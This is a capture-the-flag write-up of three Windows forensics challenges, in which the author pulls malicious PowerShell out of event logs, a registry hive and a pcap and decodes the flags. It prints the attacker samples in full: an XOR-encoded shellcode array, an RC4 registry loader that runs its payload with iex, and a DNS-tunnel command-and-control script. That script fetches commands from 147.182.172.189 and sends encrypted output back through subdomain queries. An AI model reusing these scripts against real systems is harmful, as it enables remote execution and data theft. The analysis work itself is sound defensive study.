Dump of the 3 Forensics challenge that I solved
Generally for Windows forensics, I like to use Autopsy, which is a brilliant tool to extract dat artifacts from a wide variety of inputs

Puppeteer
We import all the logs files into Autopsy as Logical Files

Select all the ingest modules to run, which analyses the imported data for any such activity or indicators

After the files has been ingested, we zoom in to PowerShellOperational.evtx, which logs the events and activities that were executed by Powershell.

Scrolling through the information, we see the anomalous activity with a lot of hex values, and a conveniently named special_orders.ps

We pull out just the important statements, fix a bit of syntax, and we get the flag printed in decimal, which we can easily convert using CyberChef
[byte[]] $stage1 = 0x99, 0x85, 0x93, 0xaa, 0xb3, 0xe2, 0xa6, 0xb9, 0xe5, 0xa3, 0xe2, 0x8e, 0xe1, 0xb7, 0x8e, 0xa5, 0xb9, 0xe2, 0x8e, 0xb3;
[byte[]] $stage2 = 0xac, 0xff, 0xff, 0xff, 0xe2, 0xb2, 0xe0, 0xa5, 0xa2, 0xa4, 0xbb, 0x8e, 0xb7, 0xe1, 0x8e, 0xe4, 0xa5, 0xe1, 0xe1;
[Byte[]] $HVOASfFuNSxRXR = 0x2d,0x99,0x52,0x35,0x21,0x39,0x1d,0xd1,0xd1,0xd1,0x90,0x80,0x90,0x81,0x83,0x99,0xe0,0x03,0xb4,0x99,0x5a,0x83,0xb1,0x99,0x5a,0x83,0xc9,0x80,0x87,0x99,0x5a,0x83,0xf1,0x99,0xde,0x66,0x9b,0x9b,0x9c,0xe0,0x18,0x99,0x5a,0xa3,0x81,0x99,0xe0,0x11,0x7d,0xed,0xb0,0xad,0xd3,0xfd,0xf1,0x90,0x10,0x18,0xdc,0x90,0xd0,0x10,0x33,0x3c,0x83,0x99,0x5a,0x83,0xf1,0x90,0x80,0x5a,0x93,0xed,0x99,0xd0,0x01,0xb7,0x50,0xa9,0xc9,0xda,0xd3,0xde,0x54,0xa3,0xd1,0xd1,0xd1,0x5a,0x51,0x59,0xd1,0xd1,0xd1,0x99,0x54,0x11,0xa5,0xb6,0x99,0xd0,0x01,0x5a,0x99,0xc9,0x81,0x95,0x5a,0x91,0xf1,0x98,0xd0,0x01,0x32,0x87,0x99,0x2e,0x18,0x9c,0xe0,0x18,0x90,0x5a,0xe5,0x59,0x99,0xd0,0x07,0x99,0xe0,0x11,0x90,0x10,0x18,0xdc,0x7d,0x90,0xd0,0x10,0xe9,0x31,0xa4,0x20,0x9d,0xd2,0x9d,0xf5,0xd9,0x94,0xe8,0x00,0xa4,0x09,0x89,0x95,0x5a,0x91,0xf5,0x98,0xd0,0x01,0xb7,0x90,0x5a,0xdd,0x99,0x95,0x5a,0x91,0xcd,0x98,0xd0,0x01,0x90,0x5a,0xd5,0x59,0x90,0x89,0x90,0x89,0x8f,0x88,0x99,0xd0,0x01,0x8b,0x90,0x89,0x90,0x88,0x90,0x8b,0x99,0x52,0x3d,0xf1,0x90,0x83,0x2e,0x31,0x89,0x90,0x88,0x8b,0x99,0x5a,0xc3,0x38,0x9a,0x2e,0x2e,0x2e,0x8c,0x98,0x6f,0xa6,0xa2,0xe3,0x8e,0xe2,0xe3,0xd1,0xd1,0x90,0x87,0x98,0x58,0x37,0x99,0x50,0x3d,0x71,0xd0,0xd1,0xd1,0x98,0x58,0x34,0x98,0x6d,0xd3,0xd1,0xd4,0xe8,0x11,0x79,0xd1,0xc3,0x90,0x85,0x98,0x58,0x35,0x9d,0x58,0x20,0x90,0x6b,0x9d,0xa6,0xf7,0xd6,0x2e,0x04,0x9d,0x58,0x3b,0xb9,0xd0,0xd0,0xd1,0xd1,0x88,0x90,0x6b,0xf8,0x51,0xba,0xd1,0x2e,0x04,0xbb,0xdb,0x90,0x8f,0x81,0x81,0x9c,0xe0,0x18,0x9c,0xe0,0x11,0x99,0x2e,0x11,0x99,0x58,0x13,0x99,0x2e,0x11,0x99,0x58,0x10,0x90,0x6b,0x3b,0xde,0x0e,0x31,0x2e,0x04,0x99,0x58,0x16,0xbb,0xc1,0x90,0x89,0x9d,0x58,0x33,0x99,0x58,0x28,0x90,0x6b,0x48,0x74,0xa5,0xb0,0x2e,0x04,0x54,0x11,0xa5,0xdb,0x98,0x2e,0x1f,0xa4,0x34,0x39,0x42,0xd1,0xd1,0xd1,0x99,0x52,0x3d,0xc1,0x99,0x58,0x33,0x9c,0xe0,0x18,0xbb,0xd5,0x90,0x89,0x99,0x58,0x28,0x90,0x6b,0xd3,0x08,0x19,0x8e,0x2e,0x04,0x52,0x29,0xd1,0xaf,0x84,0x99,0x52,0x15,0xf1,0x8f,0x58,0x27,0xbb,0x91,0x90,0x88,0xb9,0xd1,0xc1,0xd1,0xd1,0x90,0x89,0x99,0x58,0x23,0x99,0xe0,0x18,0x90,0x6b,0x89,0x75,0x82,0x34,0x2e,0x04,0x99,0x58,0x12,0x98,0x58,0x16,0x9c,0xe0,0x18,0x98,0x58,0x21,0x99,0x58,0x0b,0x99,0x58,0x28,0x90,0x6b,0xd3,0x08,0x19,0x8e,0x2e,0x04,0x52,0x29,0xd1,0xac,0xf9,0x89,0x90,0x86,0x88,0xb9,0xd1,0x91,0xd1,0xd1,0x90,0x89,0xbb,0xd1,0x8b,0x90,0x6b,0xda,0xfe,0xde,0xe1,0x2e,0x04,0x86,0x88,0x90,0x6b,0xa4,0xbf,0x9c,0xb0,0x2e,0x04,0x98,0x2e,0x1f,0x38,0xed,0x2e,0x2e,0x2e,0x99,0xd0,0x12,0x99,0xf8,0x17,0x99,0x54,0x27,0xa4,0x65,0x90,0x2e,0x36,0x89,0xbb,0xd1,0x88,0x98,0x16,0x13,0x21,0x64,0x73,0x87,0x2e,0x04;
[array]::Reverse($stage2);
$stage3 = $stage1 + $stage2;
# Unpack Shellcode;
for($i=0; $i -lt $HVOASfFuNSxRXR.count ; $i++){
$HVOASfFuNSxRXR[$i] = $HVOASfFuNSxRXR[$i] -bxor 0xd1;
}
#Unpack Special Orders!
for($i=0;$i -lt $stage3.count;$i++){
$stage3[$i] = $stage3[$i] -bxor 0xd1;
}
Write-Output $stage3


Persistence
For this challenge, we get a NTUSER.DAT file, which is actually registry data

It was here that I learnt of a powerful Linux tool called reglookup
, which instantly allows you to print out all the data of a registry file. With this, we search for any instances of calling powershell within the registry, which is a common way to embed persistence

We found the persistence mechanism, and once we base64 decode it, we get this script which takes the registry values of various keys, concatenates them together, and decrypts it with the key “Q0mmpr4B5rvZi3pS”
function encr {
param(
[Byte[]]$data,
[Byte[]]$key
)
[Byte[]]$buffer = New-Object Byte[] $data.Length
$data.CopyTo($buffer, 0)
[Byte[]]$s = New-Object Byte[] 256;
[Byte[]]$k = New-Object Byte[] 256;
for ($i = 0; $i -lt 256; $i++)
{
$s[$i] = [Byte]$i;
$k[$i] = $key[$i % $key.Length];
}
$j = 0;
for ($i = 0; $i -lt 256; $i++)
{
$j = ($j + $s[$i] + $k[$i]) % 256;
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
}
$i = $j = 0;
for ($x = 0; $x -lt $buffer.Length; $x++)
{
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
[int]$t = ($s[$i] + $s[$j]) % 256;
$buffer[$x] = $buffer[$x] -bxor $s[$t];
}
return $buffer
}
function HexToBin {
param(
[Parameter(
Position=0,
Mandatory=$true,
ValueFromPipeline=$true)
]
[string]$s)
$return = @()
for ($i = 0; $i -lt $s.Length ; $i += 2)
{
$return += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
}
Write-Output $return
}
[Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")
$encrypted1 = (Get-ItemProperty -Path HKCU:\SOFTWARE\ZYb78P4s).t3RBka5tL
$encrypted2 = (Get-ItemProperty -Path HKCU:\SOFTWARE\BjqAtIen).uLltjjW
$encrypted3 = (Get-ItemProperty -Path HKCU:\SOFTWARE\AppDataLow\t03A1Stq).uY4S39Da
$encrypted4 = (Get-ItemProperty -Path HKCU:\SOFTWARE\Google\Nv50zeG).Kb19fyhl
$encrypted5 = (Get-ItemProperty -Path HKCU:\AppEvents\Jx66ZG0O).jH54NW8C
$encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
$enc = [System.Text.Encoding]::ASCII
[Byte[]]$data = HexToBin $encrypted
$DecryptedBytes = encr $data $key
$DecryptedString = $enc.GetString($DecryptedBytes)
$DecryptedString|iex
function encr {
param(
[Byte[]]$data,
[Byte[]]$key
)
[Byte[]]$buffer = New-Object Byte[] $data.Length
$data.CopyTo($buffer, 0)
[Byte[]]$s = New-Object Byte[] 256;
[Byte[]]$k = New-Object Byte[] 256;
for ($i = 0; $i -lt 256; $i++)
{
$s[$i] = [Byte]$i;
$k[$i] = $key[$i % $key.Length];
}
$j = 0;
for ($i = 0; $i -lt 256; $i++)
{
$j = ($j + $s[$i] + $k[$i]) % 256;
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
}
$i = $j = 0;
for ($x = 0; $x -lt $buffer.Length; $x++)
{
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
[int]$t = ($s[$i] + $s[$j]) % 256;
$buffer[$x] = $buffer[$x] -bxor $s[$t];
}
return $buffer
}
function HexToBin {
param(
[Parameter(
Position=0,
Mandatory=$true,
ValueFromPipeline=$true)
]
[string]$s)
$return = @()
for ($i = 0; $i -lt $s.Length ; $i += 2)
{
$return += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
}
Write-Output $return
}
$enc = [system.Text.Encoding]::UTF8
[Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")
$encrypted = "F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B07317000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39CC19F66A5F3B2E36C9B810FE7CC4D9CE342E8E00138A4F7F5CDD9EED9E09299DD7C6933CF4734E12A906FD9CE1CA57D445DB9CABF850529F5845083F34BA1C08114AA67EB979D36DC3EFA0F62086B947F672BD8F966305A98EF93AA39076C3726B0EDEBFA10811A15F1CF1BEFC78AFC5E08AD8CACDB323F44B4DD814EB4E244A153AF8FAA1121A5CCFD0FEAC8DD96A9B31CCF6C3E3E03C1E93626DF5B3E0B141467116CC08F92147F7A0BE0D95B0172A7F34922D6C236BC7DE54D8ACBFA70D184AB553E67C743BE696A0AC80C16E2B354C2AE7918EE08A0A3887875C83E44ACA7393F1C579EE41BCB7D336CAF8695266839907F47775F89C1F170562A6B0A01C0F3BC4CB"
$enc = [System.Text.Encoding]::ASCII
[Byte[]]$data = HexToBin $encrypted
$DecryptedBytes = encr $data $key
$DecryptedString = $enc.GetString($DecryptedBytes)
Write-Output $DecryptedString

Automation
Perhaps the most fun of all. We are only given a single pcap file to examine. We first dump out all the objects that were transferred within the session

We do some simple checks on them like strings
and file
, and notice that desktop.png
is not actually an image, but a base64 encoded string, which decodes into an script


function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Create-AesKey() {
$aesManaged = Create-AesManagedObject $key $IV
[System.Convert]::ToBase64String($aesManaged.Key)
}
function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.BitConverter]::ToString($fullData).replace("-","")
}
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++){
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}
We see that the script makes several connections to the server 147.182.172.189, so we can create a filter for Wireshark to specifically show those traffic

Dissection the script, this section queries for the DNS TXT values, then base64 decode its and decrypts it using the key “a1E4MUtycWswTmtrMHdqdg==”, or “kQ81Krqk0Nkk0wjv”.
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
It then executes the script, and chunks the output into lengths of 32. It encrypts those outputs, and sends them as DNS queries in the subdomain. The data being sent over is encapsulated by start.windowsliveupdater.com
and end.windowsliveupdater.com
$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++){
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}
We first pull out the first part, which is the DNS TXT field, and decode the script that it executes


Next, we get all the commands that were encapsulated between the start/end.windowsliveupdater.com. We can use some tshark magic to help us with this
tshark -r ~/Desktop/ctfs/HTB/for/auto/capture.pcap -T fields -e ip.src -e dns.qry.name -Y "dns and ip.src == 10.0.2.15"

We have to remove some of the noise traffic such as time.windows.com
The Encrypt data function has however been modified. Instead of returning a base64 encoded string, it returns us the bytes of the output with “-” stripped.

This mismatches with the Decrypt data function, which expects a base64 encoded string

We simply modify the Decrypt function to take in bytes instead of a base64 encoded string, and format the exfiltrated data into bytes which will be fed in

We run the script and we get a… part2? which is a partial flag.


It took me quite a while of poking around, before I found out that part 1 was in the commands derived from the DNS TXT

When we base64 decode the Default user, we get the first part of the flag, which we can combine them together to get the final flag

Leave a Reply